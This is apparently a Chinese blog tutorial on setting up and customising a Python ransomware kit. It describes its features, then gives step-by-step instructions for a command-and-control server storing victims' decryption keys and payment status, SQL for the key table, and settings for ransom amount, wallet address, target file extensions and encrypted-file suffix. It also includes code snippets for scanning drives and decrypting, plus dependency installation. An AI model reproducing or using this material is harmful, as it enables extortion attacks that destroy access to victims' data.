病毒介绍
- 该程序默认只针对.lol和.mrrobot的扩展文件进行加密。可以创建该后缀的文件测试。
- 执行程序后,将lol文件加密了,且桌面每5秒更换成可怕的背景
- 生成纯随机的加密/解密密钥(MD5哈希),因此没有机会制作此Ransomeware的Keygen。
- 只能使用有效密钥来解密/恢复数据。
- 在给定的时间间隔(以秒为单位)后更改墙纸。
- 与Ransomeware集成的服务器(网站),可用于检索KEY。
- 在默认目标位置上搜索敏感文件。
- 仅加密目标指定的扩展文件(可自定义)
- 在进行加密过程之前,将KEY导出到服务器。
- 时尚和最可怕的GUI,看起来像WannaCry Ransomeware
- 在GUI窗口中显示加密文件登录
- 计时器与GUI窗口集成
- GUI数据库管理器,黑客可以使用它来自动执行数据库交互。
- 具有数据库的C&C网站/服务器,用于存储解密密钥,日期,付款[布尔类型]和唯一ID
- 禁止特定目录加密的功能(目录排除)
C&C系统搭建
该系统可实现输入用户的机器码查询加密秘钥该系统可实现输入用户的机器码查询加密秘钥
搭建LNMP环境
使用宝塔面板搭建LNMP环境
- PHP 7.4
- MYSQL 5.6
- NGINX
创建数据库
创建数据库killer
创建表:
CREATE TABLE `killer_keys` (
`software_key` char(32) NOT NULL,
`decrypt_key` char(32) NOT NULL,
`date` datetime NOT NULL,
`payment` boolean NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
导入/修改源码
- 将
website
目录导入web站点根目录 - 修改
website/php/get_decrypt_code.php
文件,设置正确的数据库信息 - 将
nekros.sql
文件导入现有数据库
此时可以正常访问web站。该站点可通过机器码查询秘钥
生成病毒
可定制病毒加密的目录、后缀以及显示信息等。
修改配置
加密文件配置
加密哪些后缀的文件、钱包地址、赎金数量、排除不加密的路径等配置:
Ransomeware/config.txt
数据库等配置:
website/php/get_decrypt_code.php
Ransomeware/config.txt
db_manager/config.txt
加密文件的后缀
加密文件后,在原有文件后添加的后缀:
Ransomeware/stage3.py
with open(self.file_name + ".abc@gmail_com", 'wb') as fo:
解密文件删除后缀
删除加密时添加的文件后缀
Ransomeware/reverse_attack.py
- 这里定义要解密的后缀:self.target_extension = ['abc@gmail_com',]
- 这里删除文件后缀的字符数:with open(self.file_name[:-14], 'wb') as fo:
如,我们添加的后缀为abc@gmail_com,加上点号,共14个字符,则在解密的文件后缀删除14个字符
勒索信内容
Ransomeware/after_stage2/GUI.py
要加密的文件的路径
Ransomeware/stage2.py
解密文件路径
Ransomeware/reverse_attack.py
现在是解密A-Z磁盘:
def start(self):
drives = [chr(i) + ':\\' for i in range(65, 91)] # 全部驱动器A-Z
for drive in drives:
if os.path.exists(drive):
target = drive
t = threading.Thread(target=self.run_locate_class, args=[target,])
t.start()
t.join()
如果想改成当前用户的桌面和图片
def start(self):
home = self.get_home_dir()
target1 = home + "Pictures"
target2 = home + "Desktop"
t1 = threading.Thread(target=self.run_locate_class, args=[target1,])
t2 = threading.Thread(target=self.run_locate_class, args=[target5,])
t1.start()
t1.join()
t2.start()
t2.join()
for files in self.list_of_files:
decrypt = Decryptor(self.decryption_key, files)
decrypt.decrypt_file()
def get_home_dir(self):
return str(Path.home()) + '\\'
安装依赖
pip install pycryptodome==3.9.2
pip install mysql-connector-python
pip install pyinstaller
pip install configparser==4.0.2
执行程序
python main.py
此时会将密钥同时写入数据库
在上述红色图中的勒索信中有机器码
通过机器码可在上述搭建的web系统中查询到解密密码
生成可执行文件
上述方法需在python环境执行,对客户端要求比较高
可以生成exe可执行文件,开箱即用:
声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。
评论(0)